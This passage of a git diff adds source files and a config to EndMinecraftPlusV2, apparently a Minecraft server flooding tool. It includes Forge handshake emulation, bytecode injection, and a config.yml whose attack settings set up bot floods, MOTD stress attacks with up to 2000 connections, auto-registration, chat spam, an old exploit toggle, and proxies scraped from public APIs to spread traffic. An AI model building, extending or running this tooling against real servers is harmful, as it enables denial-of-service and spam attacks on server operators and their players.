out.writeString(v); + } catch (IOException e) { + e.printStackTrace(); + } + }); + } catch (IOException e) { + e.printStackTrace(); + } + sendPluginMessage(session, packet.getChannel(), buf.toByteArray()); + break; + case 2: // ModList + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA) + break; + case 3: // RegistryData + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE) + break; + case -1: // HandshakeAck + int ackID = data[1]; + switch (ackID) { + case 2: // WAITING CACK + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE + break; + case 3: // COMPLETE + sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE + break; + default: + } + default: + } + } + + public String getFMLVersion() { + return "FML"; + } + + private void sendPluginMessage(Session session, String channel, byte[] data) { + session.send(new ClientPluginMessagePacket(channel, data)); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java new file mode 100644 index 0000000..cc47c2d --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeHandShakeV2.java @@ -0,0 +1,158 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import org.spacehq.mc.protocol.packet.login.client.LoginPluginResponsePacket; +import org.spacehq.mc.protocol.packet.login.server.LoginPluginRequestPacket; +import org.spacehq.packetlib.io.buffer.ByteBufferNetInput; +import org.spacehq.packetlib.io.stream.StreamNetOutput; +import org.spacehq.packetlib.packet.Packet; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class MCForgeHandShakeV2 extends MCForgeHandShake { + private final int Packet_S2CModList = 1; + private final int Packet_C2SModListReply = 2; + private final int Packet_S2CRegistry = 3; + private final int Packet_S2CConfigData = 4; + private final int Packet_C2SAcknowledge = 99; + + public MCForgeHandShakeV2(MCForge forge) { + super(forge); + } + + public void handle(Packet recvPacket) { + LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket; + if (!packet.getChannel().equals("fml:loginwrapper")) return; + + try { + LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData()); + String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver(); + ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload())); + + int packetID = in.readByte(); + switch (packetID) { + case Packet_S2CModList: { + // recv: S2CModList + final List mods = new ArrayList<>(); + int len = in.readVarInt(); + for (int x = 0; x < len; x++) + mods.add(in.readString()); + + final Map channels = new HashMap<>(); + len = in.readVarInt(); + for (int x = 0; x < len; x++) + channels.put(in.readString(), in.readString()); + + final List registries = new ArrayList<>(); + len = in.readVarInt(); + for (int x = 0; x < len; x++) + registries.add(in.readString()); + // send: C2SModListReply + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); + + out.writeByte(Packet_C2SModListReply); + + out.writeVarInt(mods.size()); + mods.forEach(m -> { + try { + out.writeString(m); + } catch (IOException e) { + e.printStackTrace(); + } + }); + + out.writeVarInt(channels.size()); + channels.forEach((k, v) -> { + try { + out.writeString(k); + out.writeString(v); + } catch (IOException e) { + e.printStackTrace(); + } + }); + + // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java) + out.writeVarInt(0); // empty map + /* + out.writeVarInt(registries.size()); + registries.forEach(r -> { + try { + out.writeString(r); + out.writeString(""); + } catch (IOException e) { + e.printStackTrace(); + } + }); + */ + + reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); + break; + } + case Packet_S2CRegistry: + case Packet_S2CConfigData: { + // recv: S2CRegistry + // send: C2SAcknowledge + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput out = new StreamNetOutput(buf); + + out.writeByte(Packet_C2SAcknowledge); + + reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray()); + break; + }// recv: S2CConfigData + } + } catch (Exception ex) { + forge.session.disconnect("Failure to handshake", ex); + } + } + + public String getFMLVersion() { + return "FML2"; + } + + private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException { + forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes())); + } + + static class LoginWrapper { + private String targetNetworkReceiver; + private byte[] payload; + + public LoginWrapper() {} + public LoginWrapper(String targetNetworkReceiver, byte[] payload) { + this.targetNetworkReceiver = targetNetworkReceiver; + this.payload = payload; + } + + public LoginWrapper fromBytes(byte[] bytes) throws IOException { + ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes)); + this.targetNetworkReceiver = in.readString(); + this.payload = in.readBytes(in.readVarInt()); + return this; + } + + public byte[] toBytes() throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + StreamNetOutput pb = new StreamNetOutput(buf); + pb.writeString(targetNetworkReceiver); + pb.writeVarInt(payload.length); + pb.writeBytes(payload); + + return buf.toByteArray(); + } + + public String getTargetNetworkReceiver() { + return this.targetNetworkReceiver; + } + + public byte[] getPayload() { + return this.payload; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java new file mode 100644 index 0000000..bcc9818 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeInject.java @@ -0,0 +1,52 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +public class MCForgeInject { + public static boolean inject() { + + try { + if (MCForge.isVersion1710()) { + injectPluginMessage(); + injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read", + "{$1.readBytes($1.available());return;}"); + injectTryCatch("org.spacehq.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket", + "read", "{$1.readBytes($1.available());return;}"); + injectTryCatch("org.spacehq.packetlib.packet.PacketProtocol", "createIncomingPacket", + "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}"); + } else { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.getOrNull("org.spacehq.mc.protocol.data.MagicValues"); + if (ctClass == null) + ctClass = classPool.get("org.spacehq.mc.protocol.data.game.MagicValues"); + CtMethod method1 = ctClass.getDeclaredMethod("key"); + method1.addCatch("{return null;}", classPool.get("java.lang.Exception")); + CtMethod method2 = ctClass.getDeclaredMethod("value"); + method2.addCatch("{return null;}", classPool.get("java.lang.Exception")); + ctClass.toClass(); + } + return true; + } catch (Exception e) { + return false; + } + } + + public static void injectPluginMessage() throws Exception { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.get("org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket"); + CtMethod method = ctClass.getDeclaredMethod("read"); + method.setBody("{this.channel=$1.readString();\n" + + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}"); + ctClass.toClass(); + } + + public static void injectTryCatch(String cls, String func, String code) throws Exception { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.get(cls); + CtMethod method = ctClass.getDeclaredMethod(func); + method.addCatch(code, classPool.get("java.lang.Exception")); + ctClass.toClass(); + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java new file mode 100644 index 0000000..f741e38 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeMOTD.java @@ -0,0 +1,141 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import com.google.gson.Gson; + +import java.io.ByteArrayOutputStream; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.util.HashMap; +import java.util.Map; + +public class MCForgeMOTD { + public Map pingGetModsList(String ip, int port, int version) { + Map modList = new HashMap(); + Socket socket = new Socket(); + try { + socket.connect(new InetSocketAddress(ip, port)); + if(socket.isConnected()) { + DataOutputStream out = new DataOutputStream(socket.getOutputStream()); + + ByteArrayOutputStream packet = new ByteArrayOutputStream(); + DataOutputStream packetOut = new DataOutputStream(packet); + + packetOut.writeByte(0); // handshake packet id + writeVarInt(packetOut, version); // version + writeVarInt(packetOut, ip.length()); // host length + packetOut.writeBytes(ip); // host + packetOut.writeShort(port); // port + writeVarInt(packetOut, 1); // next to status + + writeVarInt(out, packet.size()); // packet length + out.write(packet.toByteArray()); // handshake packet + + out.writeByte(1); // packet length + out.writeByte(0); // status packet id + + out.flush(); + + DataInputStream in = new DataInputStream(socket.getInputStream()); + readVarInt(in); // packet length + int packetID = readVarInt(in); + int dataLength = readVarInt(in); + + if (packetID == 0 && dataLength > 0) { // Response + byte[] responseData = new byte[dataLength]; + in.readFully(responseData); + Response response = new Gson().fromJson(new String(responseData), Response.class); + if (response.modinfo != null) { + for (Response.ModInfo.ModID modid : response.modinfo.modList) { + modList.put(modid.modid, modid.version); + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + try { + if (socket.isConnected()) + socket.close(); + } catch (IOException e1) {} + } + return modList; + } + + /** + * @author thinkofdeath + * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 + */ + public int readVarInt(DataInputStream in) throws IOException { + int i = 0; + int j = 0; + while (true) { + int k = in.readByte(); + + i |= (k & 0x7F) << j++ * 7; + + if (j > 5) + throw new RuntimeException("VarInt too big"); + + if ((k & 0x80) != 128) + break; + } + + return i; + } + + /** + * @throws IOException + * @author thinkofdeath + * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22 + */ + public void writeVarInt(DataOutputStream out, int paramInt) throws IOException { + while (true) { + if ((paramInt & 0xFFFFFF80) == 0) { + out.writeByte(paramInt); + return; + } + + out.writeByte(paramInt & 0x7F | 0x80); + paramInt >>>= 7; + } + } + + class Response { + public Object description; + public Players players; + public Version version; + public ModInfo modinfo; + + class Description { + public String text; + public String translate; + + public String getDescription() { + return text != null ? text : translate; + } + } + + class Players { + public int max; + public int online; + } + + class Version { + public String name; + public int protocol; + } + + class ModInfo { + public String type; + public ModID[] modList; + + class ModID { + public String modid; + public String version; + } + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java new file mode 100644 index 0000000..2b986f4 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/MCForgeUtils.java @@ -0,0 +1,25 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import org.spacehq.packetlib.io.NetInput; + +import java.io.IOException; + +public class MCForgeUtils { + public static int readVarShort(NetInput in) throws IOException { + int low = in.readUnsignedShort(); + int high = 0; + if ((low & 0x8000) != 0) { + low = low & 0x7FFF; + high = in.readUnsignedByte(); + } + return ((high & 0xFF) << 15) | low; + } + + public static UnknownPacket createUnknownPacket() { + try { + return UnknownPacket.class.newInstance(); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java new file mode 100644 index 0000000..9198c1c --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ForgeProtocol/UnknownPacket.java @@ -0,0 +1,20 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol; + +import org.spacehq.packetlib.io.NetInput; +import org.spacehq.packetlib.io.NetOutput; +import org.spacehq.packetlib.packet.Packet; + +import java.io.IOException; + +public class UnknownPacket implements Packet { + public boolean isPriority() { + return false; + } + + public void read(NetInput in) throws IOException { + in.readBytes(in.available()); + } + + public void write(NetOutput out) { + } +} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java new file mode 100644 index 0000000..17f41b6 --- /dev/null +++ b/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/ProtocolLibs.java @@ -0,0 +1,119 @@ +package cn.serendipityr.EndMinecraftPlusV2.VersionControl; + +import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; +import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils; + +import java.io.File; +import java.util.*; + +public class ProtocolLibs { + public static boolean highVersion = false; + public static void loadProtocolLib() { + LogUtil.doLog(0, "==========================================================", "ProtocolLib"); + choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); + } + + public static List scanProtocolLibs() { + try { + Class.forName("javassist.CtClass"); + } catch (ClassNotFoundException e) { + OtherUtils.loadLibrary(new File("libs", "javassist-3.22.0-CR2.jar")); + } + + File libDir = new File("libs"); + if (!libDir.exists()) { + libDir.mkdir(); + } + + List versionLibs = new ArrayList<>(); + for (File file: Objects.requireNonNull(libDir.listFiles())) { + if ((file.getName().startsWith("MC-") || file.getName().startsWith("MCP-")) && file.getName().endsWith(".jar")) + versionLibs.add(file); + } + + Collections.sort(versionLibs); + return versionLibs; + } + + public static List scanSupportLibs() { + File libDir = new File("libs"); + if (!libDir.exists()) { + libDir.mkdir(); + } + + List supportLibs = new ArrayList<>(); + for (File file: Objects.requireNonNull(libDir.listFiles())) { + if (file.getName().endsWith(".jar")) + supportLibs.add(file); + } + + return supportLibs; + } + + public static void choseProtocolVer(List versionLibs, List supportLibs) { + int dependency = -1; + + for (int i = 0; i < versionLibs.size(); i++) { + String filename = versionLibs.get(i).getName(); + StringBuilder info = new StringBuilder(); + + if (filename.contains("MC-")) { + info.append("(").append(i + 1).append(")").append(" ").append(filename, "MC-".length(), filename.length() - ".jar".length()); + } else if (filename.contains("MCP-")) { + info.append("(").append(i + 1).append(")").append(" ").append(filename, "MCP-".length(), filename.length() - ".jar".length()); + } + + LogUtil.doLog(0, info.toString(), "ProtocolLib"); + } + + for (int i = 0; i < supportLibs.size(); i++) { + String filename = supportLibs.get(i).getName(); + + if (filename.contains("Dependency")) { + dependency = i; + } + } + + LogUtil.doLog(-1, "请选择一个Minecraft协议库版本: ", "ProtocolLib"); + + try { + Scanner scanner = new Scanner(System.in); + int sel = Integer.parseInt(scanner.nextLine()); + File versionLib = versionLibs.get(sel - 1); + + if (versionLib.getName().contains("MCP")) { + highVersion = true; + + if (dependency == -1) { + LogUtil.emptyLog(); + LogUtil.doLog(1, "加载Minecraft协议库时发生错误!", null); + LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib"); + LogUtil.doLog(0, " 你选择了高于1.13.2的版本,但缺少必要支持库,", "ProtocolLib"); + LogUtil.doLog(0, " 请检查[libs]文件夹中,下列文件是否存在: ", "ProtocolLib"); + LogUtil.doLog(0, " (Dependency.jar)", "ProtocolLib"); + LogUtil.doLog(0, "==========================================================", "ProtocolLib"); + LogUtil.emptyLog(); + + choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); + } + + File dependencyFile = supportLibs.get(dependency); + OtherUtils.loadLibrary(dependencyFile); + } + + OtherUtils.loadLibrary(versionLib); + } catch (Exception e) { + LogUtil.emptyLog(); + LogUtil.doLog(1, "加载Minecraft协议库时发生错误! 详细信息:" + e, null); + LogUtil.doLog(0, "=========================错误排除=========================", "ProtocolLib"); + LogUtil.doLog(0, " 1.检查/libs文件夹内依赖库是否完整", "ProtocolLib"); + LogUtil.doLog(0, " 2.检查对应依赖库是否存在", "ProtocolLib"); + LogUtil.doLog(0, " (如[1.8]需要[MC-1.8.jar])", "ProtocolLib"); + LogUtil.doLog(0, " 3.请输入正确的协议库序号(如10)", "ProtocolLib"); + LogUtil.doLog(0, "==========================================================", "ProtocolLib"); + LogUtil.emptyLog(); + + choseProtocolVer(scanProtocolLibs(), scanSupportLibs()); + } + } +} diff --git a/src/config.yml b/src/config.yml new file mode 100644 index 0000000..3f0a3e7 --- /dev/null +++ b/src/config.yml @@ -0,0 +1,68 @@ +############################## +# EndMinecraftPlusV2 # +# Forked by SerendipityR # +############################## + +AttackSettings: + Address: "example.com" + Port: 25565 + # 攻击方式: + # 1 - BotAttack - 集群假人(代理) + # 2 - MotdAttackP - MOTD压测(代理) + # 3 - MotdAttack - MOTD压测(无代理) + # 4 - DoubleAttack - 影分身攻击(代理,仅原版单服可用) + Method: 1 + Time: 3600 + ConnectDelay: 250 + # 实际连接数由代理质量和机器性能有关 + # 进行无代理Motd压测时不建议大于32 + MaxConnections: 2000 + # 旧版漏洞利用,大概率无效 + TabAttack: true + AntiAttackMode: true + DoubleExploitPlayer: "ImOldSix_666" + ShowFails: false + +BotSettings: + # 可用占位符: + # $rnd - 随机字符 + # $pwd - 随机生成密码 + BotName: "ImOldSix_$rnd" + BotCount: 1000 + RejoinCount: 5 + RejoinDelay: 2000 + RejoinDetect: + - "AntiAttack" + ClickVerifiesDetect: + - "点击验证" + Register&Login: true + RegisterCommands: + - "/register $pwd $pwd" + - "/login $pwd" + ChatSpam: true + CustomChat: + - "喵喵喵萌喵~ $rnd" + - "喵喵喵萌~ $rnd" + - "喵喵喵~ $rnd" + - "喵喵~ $rnd" + - "喵~ $rnd" + ChatDelay: 3000 + +Proxy: + # 代理获取方式: + # 1 - API - 从API获取 + # 2 - File - 从本地读取 + # 3 - File + API - 两种方式同时获取 + GetType: 1 + # 代理类型: + # 1 - HTTP/HTTPS + # 2 - SOCKS4/SOCKS5 + ProxyType: 1 + UpdateTime: 300 + File: "proxies.txt" + APIs: + - "http://www.66ip.cn/mo.php?tqsl=9999" + - "https://www.89ip.cn/tqdl.html?api=1&num=9999" + # 保存能连接到目标服务器的代理地址 (如果支持) + # 位置: working-proxies.txt + SaveWorkingProxy: true \ No newline at end of file diff --git a/src/data.yml b/src/data.yml new file mode 100644 index 0000000..3bca5df --- /dev/null +++ b/src/data.yml @@ -0,0 +1,2 @@ +Data: + - "" \ No newline at end of file